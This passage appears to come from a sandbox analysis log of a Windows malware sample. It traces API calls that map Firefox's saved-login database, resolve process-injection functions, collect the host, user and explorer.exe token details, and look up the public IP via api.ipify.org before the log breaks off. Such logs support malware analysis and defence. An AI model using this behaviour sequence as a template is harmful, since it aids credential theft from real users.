name = "private_0x0000000009500000" filename = "" Region: id = 897 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 898 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 899 start_va = 0x742d0000 end_va = 0x742f6fff entry_point = 0x742ec589 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll") Region: id = 900 start_va = 0x74890000 end_va = 0x748a6fff entry_point = 0x748a1aa0 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll") Region: id = 901 start_va = 0x74280000 end_va = 0x742cefff entry_point = 0x742b6402 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll") Region: id = 902 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 903 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 904 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 905 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 906 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 907 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 908 start_va = 0x72b70000 end_va = 0x735effff entry_point = 0x72b70000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 909 start_va = 0x74870000 end_va = 0x748abfff entry_point = 0x74870000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 910 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x2a0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 911 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 912 start_va = 0x742d0000 end_va = 0x742fdfff entry_point = 0x742d0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 913 start_va = 0x9500000 end_va = 0x9aa0fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 914 start_va = 0x9ab0000 end_va = 0x9bb0fff entry_point = 0x0 region_type = private name = "private_0x0000000009ab0000" filename = "" Region: id = 915 start_va = 0x742b0000 end_va = 0x742c1fff entry_point = 0x742b0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 1567 start_va = 0x8b20000 end_va = 0x8b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000008b20000" filename = "" Region: id = 1568 start_va = 0x8b80000 end_va = 0x8bbffff entry_point = 0x0 region_type = private name = "private_0x0000000008b80000" filename = "" Region: id = 1569 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 7981 start_va = 0x84a0000 end_va = 0x84dffff entry_point = 0x0 region_type = private name = "private_0x00000000084a0000" filename = "" Region: id = 7982 start_va = 0x84e0000 end_va = 0x851ffff entry_point = 0x0 region_type = private name = "private_0x00000000084e0000" filename = "" Region: id = 7983 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Thread: id = 15 os_tid = 0x9e0 [0018.976] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.542] GetProcAddress (hModule=0x76e10000, lpProcName="InternetOpenA") returned 0x76e3f18e [0019.542] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.542] GetProcAddress (hModule=0x76e10000, lpProcName="HttpSendRequestA") returned 0x76ea18f8 [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="HttpQueryInfoA") returned 0x76e2a33e [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="InternetCrackUrlA") returned 0x76e1d075 [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="HttpOpenRequestA") returned 0x76e34c7d [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="InternetSetOptionA") returned 0x76e275e8 [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="InternetQueryOptionA") returned 0x76e21b56 [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="InternetReadFile") returned 0x76e2b406 [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="InternetConnectA") returned 0x76e349e9 [0019.543] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0019.543] GetProcAddress (hModule=0x76e10000, lpProcName="InternetCloseHandle") returned 0x76e2ab49 [0019.543] LoadLibraryExA (lpLibFileName="IPHLPAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x75230000 [0019.598] GetProcAddress (hModule=0x75230000, lpProcName="GetAdaptersAddresses") returned 0x75236a4d [0019.598] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x76f70000 [0019.770] GetProcAddress (hModule=0x76f70000, lpProcName="GetProcessImageFileNameA") returned 0x76f7168e [0019.770] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x76f70000 [0019.771] GetProcAddress (hModule=0x76f70000, lpProcName="EnumProcesses") returned 0x76f71544 [0019.771] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77720000 [0019.771] GetProcAddress (hModule=0x77720000, lpProcName="RtlDecompressBuffer") returned 0x777dfded [0019.771] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.771] GetProcAddress (hModule=0x75dc0000, lpProcName="GetComputerNameA") returned 0x75deb6e0 [0019.771] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.771] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileA") returned 0x75dd53c6 [0019.771] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.771] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapAlloc") returned 0x7774e026 [0019.771] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.771] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapFree") returned 0x75dd14c9 [0019.771] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.771] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcessHeap") returned 0x75dd14e9 [0019.771] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.771] GetProcAddress (hModule=0x75dc0000, lpProcName="GetVersion") returned 0x75dd4467 [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.772] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcpyA") returned 0x75df2a9d [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.772] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcatA") returned 0x75df2b7a [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.772] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrlenA") returned 0x75dd5a4b [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.772] GetProcAddress (hModule=0x75dc0000, lpProcName="GetWindowsDirectoryA") returned 0x75df2b0a [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.772] GetProcAddress (hModule=0x75dc0000, lpProcName="GetVolumeInformationA") returned 0x75df6dcb [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.772] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualQuery") returned 0x75dd445a [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.772] GetProcAddress (hModule=0x75dc0000, lpProcName="Sleep") returned 0x75dd10ff [0019.772] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.773] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcAddress") returned 0x75dd1222 [0019.773] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.773] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualAlloc") returned 0x75dd1856 [0019.773] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.773] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualFree") returned 0x75dd186e [0019.773] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.773] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualAllocEx") returned 0x75ded9b0 [0019.773] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.773] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualFreeEx") returned 0x75ded9c8 [0019.773] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.773] GetProcAddress (hModule=0x75dc0000, lpProcName="OpenProcess") returned 0x75dd1986 [0019.773] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.773] GetProcAddress (hModule=0x75dc0000, lpProcName="TerminateProcess") returned 0x75ded802 [0019.773] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateThread") returned 0x75dd34d5 [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcessId") returned 0x75dfcf04 [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="GetLastError") returned 0x75dd11c0 [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="WriteProcessMemory") returned 0x75ded9e0 [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="GetThreadContext") returned 0x75df79d4 [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="SetThreadContext") returned 0x75e55393 [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="ResumeThread") returned 0x75dd43ef [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.774] GetProcAddress (hModule=0x75dc0000, lpProcName="WriteFile") returned 0x75dd1282 [0019.774] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseHandle") returned 0x75dd1410 [0019.775] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="GetSystemInfo") returned 0x75dd49ca [0019.775] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcmpiA") returned 0x75dd3e8e [0019.775] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="LoadLibraryA") returned 0x75dd49d7 [0019.775] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleHandleA") returned 0x75dd1245 [0019.775] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateProcessA") returned 0x75dd1072 [0019.775] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="GetEnvironmentVariableA") returned 0x75dd33a0 [0019.775] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.775] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTempPathA") returned 0x75df276c [0019.776] LoadLibraryExA (lpLibFileName="KERNEL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75dc0000 [0019.776] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTempFileNameA") returned 0x75df9d3f [0019.776] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x757e0000 [0019.776] GetProcAddress (hModule=0x757e0000, lpProcName="wsprintfA") returned 0x7580ae5f [0019.776] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.776] GetProcAddress (hModule=0x77280000, lpProcName="CryptDestroyHash") returned 0x7728df66 [0019.776] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.776] GetProcAddress (hModule=0x77280000, lpProcName="CryptHashData") returned 0x7728df36 [0019.776] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.776] GetProcAddress (hModule=0x77280000, lpProcName="CryptCreateHash") returned 0x7728df4e [0019.776] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.776] GetProcAddress (hModule=0x77280000, lpProcName="CryptDecrypt") returned 0x772c3178 [0019.776] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.776] GetProcAddress (hModule=0x77280000, lpProcName="CryptDestroyKey") returned 0x7728c51a [0019.776] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.777] GetProcAddress (hModule=0x77280000, lpProcName="CryptDeriveKey") returned 0x772c3188 [0019.777] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.777] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0019.777] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.777] GetProcAddress (hModule=0x77280000, lpProcName="CryptAcquireContextA") returned 0x772891dd [0019.777] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.777] GetProcAddress (hModule=0x77280000, lpProcName="LookupAccountSidA") returned 0x772c1daa [0019.777] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.777] GetProcAddress (hModule=0x77280000, lpProcName="GetTokenInformation") returned 0x7729431c [0019.777] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77280000 [0019.777] GetProcAddress (hModule=0x77280000, lpProcName="OpenProcessToken") returned 0x77294304 [0019.777] VirtualQuery (in: lpAddress=0x401000, lpBuffer=0xefe60, dwLength=0x1c | out: lpBuffer=0xefe60*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x40, RegionSize=0x7000, State=0x1000, Protect=0x40, Type=0x20000)) returned 0x1c [0019.778] GetVersion () returned 0x1db10106 [0019.778] GetAdaptersAddresses () returned 0x0 [0020.413] GetWindowsDirectoryA (in: lpBuffer=0xef820, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0020.414] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0xef928, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xef928*=0xfcdf19fa, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0020.414] GetComputerNameA (in: lpBuffer=0xef82c, nSize=0xef938 | out: lpBuffer="AUFDDCNTXWT", nSize=0xef938) returned 1 [0020.414] lstrcatA (in: lpString1="", lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0020.414] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2=" @ " | out: lpString1="AUFDDCNTXWT @ ") returned="AUFDDCNTXWT @ " [0020.414] EnumProcesses (in: lpidProcess=0xee2ec, cb=0x1000, lpcbNeeded=0xef4f8 | out: lpidProcess=0xee2ec, lpcbNeeded=0xef4f8) returned 1 [0020.415] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0020.415] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x258) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x354) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x398) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f0) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x160) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x11c) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x40c) returned 0x0 [0020.416] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x510) returned 0xd4 [0020.416] GetProcessImageFileNameA (in: hProcess=0xd4, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\taskhost.exe") returned 0x35 [0020.416] CloseHandle (hObject=0xd4) returned 1 [0020.416] lstrcpyA (in: lpString1=0xef2ec, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0020.416] lstrcmpiA (lpString1="taskhost.exe", lpString2="explorer.exe") returned 1 [0020.418] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xd4 [0020.418] GetProcessImageFileNameA (in: hProcess=0xd4, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\dwm.exe") returned 0x30 [0020.418] CloseHandle (hObject=0xd4) returned 1 [0020.418] lstrcpyA (in: lpString1=0xef2ec, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0020.418] lstrcmpiA (lpString1="dwm.exe", lpString2="explorer.exe") returned -1 [0020.418] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0xd4 [0020.418] GetProcessImageFileNameA (in: hProcess=0xd4, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\explorer.exe") returned 0x2c [0020.418] CloseHandle (hObject=0xd4) returned 1 [0020.418] lstrcpyA (in: lpString1=0xef2ec, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0020.418] lstrcmpiA (lpString1="explorer.exe", lpString2="explorer.exe") returned 0 [0020.418] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0xd4 [0020.418] OpenProcessToken (in: ProcessHandle=0xd4, DesiredAccess=0x20008, TokenHandle=0xef4e0 | out: TokenHandle=0xef4e0*=0xcc) returned 1 [0020.418] GetTokenInformation (in: TokenHandle=0xcc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xef4e4 | out: TokenInformation=0x0, ReturnLength=0xef4e4) returned 0 [0020.418] GetLastError () returned 0x7a [0020.418] GetTokenInformation (in: TokenHandle=0xcc, TokenInformationClass=0x1, TokenInformation=0x70a960, TokenInformationLength=0x24, ReturnLength=0xef4e4 | out: TokenInformation=0x70a960, ReturnLength=0xef4e4) returned 1 [0020.419] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x70a968*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4)), Name=0xef50c, cchName=0xef4f8, ReferencedDomainName=0xef610, cchReferencedDomainName=0xef500, peUse=0xef4dc | out: Name="aDU0VK IWA5kLS", cchName=0xef4f8, ReferencedDomainName="AUFDDCNTXWT", cchReferencedDomainName=0xef500, peUse=0xef4dc) returned 1 [0020.420] lstrcpyA (in: lpString1=0xef728, lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0020.420] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2="\\" | out: lpString1="AUFDDCNTXWT\\") returned="AUFDDCNTXWT\\" [0020.420] lstrcatA (in: lpString1="AUFDDCNTXWT\\", lpString2="aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT\\aDU0VK IWA5kLS" [0020.420] lstrcatA (in: lpString1="AUFDDCNTXWT @ ", lpString2="AUFDDCNTXWT\\aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS" [0020.424] InternetCrackUrlA (in: lpszUrl="http://api.ipify.org", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xef8c0 | out: lpUrlComponents=0xef8c0) returned 1 [0021.267] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0021.270] InternetConnectA (hInternet=0xcc0004, lpszServerName="api.ipify.org", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0021.276] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407050*="*/*", dwFlags=0x84080100, dwContext=0x1) returned 0xcc000c [0021.279] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0025.395] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xef908, lpdwBufferLength=0xef8fc, lpdwIndex=0x0 | out: lpBuffer=0xef908*, lpdwBufferLength=0xef8fc*=0x4, lpdwIndex=0x0) returned 1 [0025.395] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x407180, dwNumberOfBytesToRead=0x20, lpdwNumberOfBytesRead=0xef90c | out: lpBuffer=0x407180*, lpdwNumberOfBytesRead=0xef90c*=0xe) returned 1 [0025.395] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x40718e, dwNumberOfBytesToRead=0x12, lpdwNumberOfBytesRead=0xef90c | out: lpBuffer=0x40718e*, lpdwNumberOfBytesRead=0xef90c*=0x0) returned 1 [0025.395] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0025.395] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0025.395] lstrcpyA (in: lpString1=0xefe48, lpString2="87.142.159.132" | out: lpString1="87.142.159.132") returned="87.142.159.132" [0025.396] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0025.396] GetProcAddress (hModule=0x75dc0000, 